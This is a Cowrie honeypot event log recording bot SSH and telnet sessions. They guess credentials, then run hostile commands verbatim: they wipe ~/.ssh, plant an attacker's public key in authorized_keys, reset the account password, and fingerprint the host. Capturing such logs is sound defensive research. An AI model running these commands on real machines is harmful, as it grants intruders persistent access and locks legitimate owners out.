{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59692,"dst_ip":"10.17.0.5","dst_port":23,"session":"008365d18f93","protocol":"telnet","message":"New connection: 192.119.13.58:59692 (10.17.0.5:23) [session: 008365d18f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:30.662515Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":32768,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f05387106e1","protocol":"ssh","message":"New connection: 49.51.73.108:32768 (10.17.0.5:22) [session: 3f05387106e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:30.738541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:30.743553Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:30.815124Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.119103Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.300288Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.303564Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.307976Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.444563Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.580684Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.584875Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/tom/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.664085Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.667460Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":32780,"dst_ip":"10.17.0.5","dst_port":22,"session":"4139146f7e2a","protocol":"ssh","message":"New connection: 49.51.73.108:32780 (10.17.0.5:22) [session: 4139146f7e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.732365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.736952Z","src_ip":"49.51.73.108","session":"4139146f7e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:31.806081Z","src_ip":"49.51.73.108","session":"4139146f7e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:32.108690Z","src_ip":"49.51.73.108","session":"4139146f7e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.179805Z","src_ip":"49.51.73.108","session":"4139146f7e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":32796,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cd3740f766","protocol":"ssh","message":"New connection: 49.51.73.108:32796 (10.17.0.5:22) [session: 72cd3740f766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.244063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.248521Z","src_ip":"49.51.73.108","session":"72cd3740f766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.320616Z","src_ip":"49.51.73.108","session":"72cd3740f766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"3245gs5662d34","message":"login attempt [tom/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.627692Z","src_ip":"49.51.73.108","session":"72cd3740f766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":34428,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f3953bfd79","protocol":"ssh","message":"New connection: 45.78.204.254:34428 (10.17.0.5:22) [session: 33f3953bfd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.708753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:33.713759Z","src_ip":"45.78.204.254","session":"33f3953bfd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:34.700506Z","src_ip":"49.51.73.108","session":"72cd3740f766","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:34.820634Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:34.824634Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:34.963971Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.088477Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"tom\\n7xCblZtM1Htl\\n7xCblZtM1Htl\"|passwd|bash","message":"CMD: echo -e \"tom\\n7xCblZtM1Htl\\n7xCblZtM1Htl\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.092255Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.096131Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.099726Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e42f2fc3267d206bdaa154453a9960e35e96a53e8733b150f18df7ecb99619f","size":32,"shasum":"4e42f2fc3267d206bdaa154453a9960e35e96a53e8733b150f18df7ecb99619f","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e42f2fc3267d206bdaa154453a9960e35e96a53e8733b150f18df7ecb99619f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.237458Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.369320Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"tom\\n7xCblZtM1Htl\\n7xCblZtM1Htl\\n\"|passwd","message":"CMD: echo \"tom\\n7xCblZtM1Htl\\n7xCblZtM1Htl\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.373514Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.398768Z","src_ip":"45.78.204.254","session":"33f3953bfd79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50428,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e9be9cf649","protocol":"telnet","message":"New connection: 192.119.13.58:50428 (10.17.0.5:23) [session: 87e9be9cf649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.416802Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/032dd4397e215d5d3e6a4896351e0863302d478f22e12f3f42b6823c64f135be","size":25,"shasum":"032dd4397e215d5d3e6a4896351e0863302d478f22e12f3f42b6823c64f135be","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/032dd4397e215d5d3e6a4896351e0863302d478f22e12f3f42b6823c64f135be after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.510846Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.636043Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.640459Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.778019Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.907681Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:35.910922Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.047233Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.161488Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.164453Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.166948Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.304035Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.430473Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.433786Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.568401Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.710896Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
